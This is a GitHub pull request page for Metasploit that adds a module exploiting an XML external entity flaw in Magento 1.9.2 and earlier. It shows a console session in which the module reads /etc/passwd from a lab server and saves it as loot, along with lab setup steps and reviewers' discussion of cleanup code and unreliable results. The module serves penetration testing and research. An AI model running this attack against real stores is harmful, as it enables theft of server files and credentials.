-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add a module for the recent magento XXE #6235
Conversation
``` jvoisin@kaa 16:10 /opt/msf ./msfconsole ____________ < metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v4.11.5-dev-9a0f0a7 ] + -- --=[ 1505 exploits - 867 auxiliary - 251 post ] + -- --=[ 434 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use auxiliary/gather/magento_xxe msf auxiliary(magento_xxe) > set RPORT 8080 RPORT => 8080 msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.11 SRVHOST => 192.168.1.11 msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25 RHOST => 192.168.1.25 msf auxiliary(magento_xxe) > show options Module options (auxiliary/gather/magento_xxe): Name Current Setting Required Description ---- --------------- -------- ----------- FILEPATH /etc/passwd yes The filepath to read on the server Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 192.168.1.25 yes The target address RPORT 8080 yes The target port SRVHOST 192.168.1.11 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base Magento directory path URIPATH fetch.php yes The URI path to use for this exploit to get the data back VHOST no HTTP server virtual host msf auxiliary(magento_xxe) > run [*] Using URL: http://192.168.1.11:8080/fetch.php [*] Server started. [*] 192.168.1.25 magento_xxe - Got an answer from the server. [+] 192.168.1.25 magento_xxe - File /etc/passwd found and saved to path: /home/jvoisin/.msf4/loot/20151113163706_default_192.168.1.25_magento.file_415167.txt [*] Server stopped. [*] Auxiliary module execution completed ``` 1. [ ] Get the "Community Edition" of magento on [its website]( https://www.magentocommerce.com/download ) (Feel free to use bugmenot@mailinator.com/Password1 to log in) 2. [ ] Install nginx and php-fpm. This is the configuration that I used: ``` server { listen 0.0.0.0:8080 default; listen 192.168.1.25:8080; server_name _; root /var/www2/; index index.php; location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; } location / { try_files $uri $uri/ @rewrite; } location @rewrite { rewrite / /index.php?$args; } location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } ``` 3. [ ] Launch metasploit, `use auxiliary/gather/magento_xxe`, set options 4. [ ] Get your file exfiltrated in your loot. 1. The XML is hand-crafted because I don't know how to Nokogiri 2. I'm quite sure that the `service.stop` in the `primer` function is wrong. What is the regular way to handle this?
Great jon again :) |
jon supper 👍 |
jhon i need help ? |
@jvoisin Use rubocop to correct some errors in your code. :) |
Done :) |
@jvoisin I am currently on magento 1.9.0.0, and this module doesn't work for me. Could you please take a look at that version? Regarding the use of cleanup
def cleanup
super
end If I'm not mistaken, since Msf::Exploit::Remote::HttpServer::HTML is included last, it should call HttpServer's cleanup, which will remove all the HTTP resources (such as registered URIs), and then that should call TcpServer's cleanup (which will call stop_service). I THINK that's how it works based on reading code. The difference between that approach and what you currently have, is that after yours calling service.stop, it does not try to remove resources right away, but when you call cleanup it should. |
I just tested it on 1.9.0.0 and 1.9.1.0, it works in both cases :/ |
@jvoisin Hmmm, default settings? |
Ho, wait, I know what might be wrong! This module will send you back the data on Can my module enforce |
Oh ok. Yeah, I don't recall modifying the SRVHOST and SRVPORT settings at all. It must have been a mistake on my end. Thanks for pointing it out, I will test this later today :-) |
Not so much luck, but this is how far I got:
|
Are you sure that you're using |
We are unable to get this module to work reliably, please see #6235 for more info.
@jvoisin Like the PR, since we have not been able to make any more progress, I have moved this PR to the same branch (for incomplete or unstable modules). We can tackle this later if you'd like. Thanks again for the PR. |
This module abuses an XML External Entity Injection vulnerability in Magento <= 1.9.2. More precisely, the vulnerability is in the Zend Framework.
In short, the Zend Framework XXE vulnerability stems from an insufficient sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP applications. By using certain multibyte encodings within XML, it is possible to bypass the sanitisation and perform certain XXE attacks.
Since eBay Magento is based on Zend Framework and uses several of its XML classes, it also inherits this XXE vulnerability.
This is a straightforward port of this exploit.
Console output
How to reproduce
apt install nginx php5-fpm
. This is the configuration that I used:use auxiliary/gather/magento_xxe
, setoptions
Current issues
service.stop
in theprimer
function iswrong. What is the regular way to handle this?